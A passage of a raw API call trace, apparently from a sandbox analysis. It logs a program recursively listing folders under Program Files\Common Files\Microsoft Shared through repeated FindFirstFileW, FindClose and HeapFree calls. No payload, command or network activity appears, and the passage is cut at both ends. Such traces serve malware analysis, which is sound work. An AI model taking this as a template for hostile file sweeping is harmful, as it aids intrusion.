returned 0x5932e0 [0048.995] FindClose (in: hFindFile=0x5932e0 | out: hFindFile=0x5932e0) returned 1 [0048.996] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3820088 | out: hHeap=0xb80000) returned 1 [0048.996] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\*", lpFindFileData=0x2fae77c | out: lpFindFileData=0x2fae77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932e0 [0048.996] FindClose (in: hFindFile=0x5932e0 | out: hFindFile=0x5932e0) returned 1 [0048.996] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3820088 | out: hHeap=0xb80000) returned 1 [0048.996] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\*", lpFindFileData=0x2fae77c | out: lpFindFileData=0x2fae77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932e0 [0048.996] FindClose (in: hFindFile=0x5932e0 | out: hFindFile=0x5932e0) returned 1 [0048.996] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3820088 | out: hHeap=0xb80000) returned 1 [0048.996] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\*", lpFindFileData=0x2fae77c | out: lpFindFileData=0x2fae77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593220 [0049.030] FindClose (in: hFindFile=0x593220 | out: hFindFile=0x593220) returned 1 [0049.030] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3820088 | out: hHeap=0xb80000) returned 1 [0049.030] FindClose (in: hFindFile=0x593260 | out: hFindFile=0x593260) returned 1 [0049.031] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3810080 | out: hHeap=0xb80000) returned 1 [0049.031] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593260 [0049.031] FindClose (in: hFindFile=0x593260 | out: hFindFile=0x593260) returned 1 [0049.031] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3810080 | out: hHeap=0xb80000) returned 1 [0049.031] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593260 [0049.031] FindClose (in: hFindFile=0x593260 | out: hFindFile=0x593260) returned 1 [0049.031] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3810080 | out: hHeap=0xb80000) returned 1 [0049.032] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593260 [0049.032] FindClose (in: hFindFile=0x593260 | out: hFindFile=0x593260) returned 1 [0049.032] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3810080 | out: hHeap=0xb80000) returned 1 [0049.032] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593260 [0049.156] FindClose (in: hFindFile=0x593260 | out: hFindFile=0x593260) returned 1 [0049.156] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3810080 | out: hHeap=0xb80000) returned 1 [0049.157] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593260 [0049.157] FindClose (in: hFindFile=0x593260 | out: hFindFile=0x593260) returned 1 [0049.157] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3810080 | out: hHeap=0xb80000) returned 1 [0049.157] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593260 [0049.157] FindClose (in: hFindFile=0x593260 | out: hFindFile=0x593260) returned 1 [0049.157] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3810080 | out: hHeap=0xb80000) returned 1 [0049.157] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593260 [0049.158] FindClose (in: hFindFile=0x593260 | out: hFindFile=0x593260) returned 1 [0049.159] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3810080 | out: hHeap=0xb80000) returned 1 [0049.159] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593220 [0049.496] FindClose (in: hFindFile=0x593220 | out: hFindFile=0x593220) returned 1 [0049.496] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3810080 | out: hHeap=0xb80000) returned 1 [0049.496] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593220 [0049.505] FindClose (in: hFindFile=0x593220 | out: hFindFile=0x593220) returned 1 [0049.505] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3810080 | out: hHeap=0xb80000) returned 1 [0049.505] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593220 [0049.506] FindClose (in: hFindFile=0x593220 | out: hFindFile=0x593220) returned 1 [0049.506] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3810080 | out: hHeap=0xb80000) returned 1 [0049.506] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593220 [0049.506] FindClose (in: hFindFile=0x593220 | out: hFindFile=0x593220) returned 1 [0049.506] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3810080 | out: hHeap=0xb80000) returned 1 [0049.506] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593260 [0049.572] FindClose (in: hFindFile=0x593260 | out: hFindFile=0x593260) returned 1 [0049.572] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3810080 | out: hHeap=0xb80000) returned 1 [0049.572] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593260 [0049.573] FindClose (in: hFindFile=0x593260 | out: hFindFile=0x593260) returned 1 [0049.573] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3810080 | out: hHeap=0xb80000) returned 1 [0049.573] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593260 [0049.573] FindClose (in: hFindFile=0x593260 | out: hFindFile=0x593260) returned 1 [0049.573] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3810080 | out: hHeap=0xb80000) returned 1 [0049.573] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593260 [0049.573] FindClose (in: hFindFile=0x593260 | out: hFindFile=0x593260) returned 1 [0049.573] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3810080 | out: hHeap=0xb80000) returned 1 [0049.574] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0049.873] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0049.873] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3810080 | out: hHeap=0xb80000) returned 1 [0049.873] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0049.874] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0049.874] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3810080 | out: hHeap=0xb80000) returned 1 [0049.874] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0049.874] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0049.874] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3810080 | out: hHeap=0xb80000) returned 1 [0049.874] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0049.874] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0049.874] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3810080 | out: hHeap=0xb80000) returned 1 [0049.874] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0049.874] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0049.874] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3810080 | out: hHeap=0xb80000) returned 1 [0049.874] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0049.875] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0049.875] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3810080 | out: hHeap=0xb80000) returned 1 [0049.875] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x980e725f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x980e725f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0049.875] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0049.875] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3810080 | out: hHeap=0xb80000) returned 1 [0049.875] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0049.875] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0049.875] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3810080 | out: hHeap=0xb80000) returned 1 [0049.875] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98074e3f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98074e3f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0049.875] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0049.875] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3810080 | out: hHeap=0xb80000) returned 1 [0049.875] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0049.876] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0049.876] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3810080 | out: hHeap=0xb80000) returned 1 [0049.876] FindClose (in: hFindFile=0x5931e0 | out: hFindFile=0x5931e0) returned 1 [0049.876] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3800078 | out: hHeap=0xb80000) returned 1 [0049.877] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\*", lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5931e0 [0049.877] FindClose (in: hFindFile=0x5931e0 | out: hFindFile=0x5931e0) returned 1 [0049.877] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3830090 | out: hHeap=0xb80000) returned 1 [0049.877] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\*", lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5931e0 [0049.877] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0049.878] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0049.878] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3800078 | out: hHeap=0xb80000) returned 1 [0049.878] FindClose (in: hFindFile=0x5931e0 | out: hFindFile=0x5931e0) returned 1 [0049.878] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3830090 | out: hHeap=0xb80000) returned 1 [0049.878] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*", lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5d93940, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, 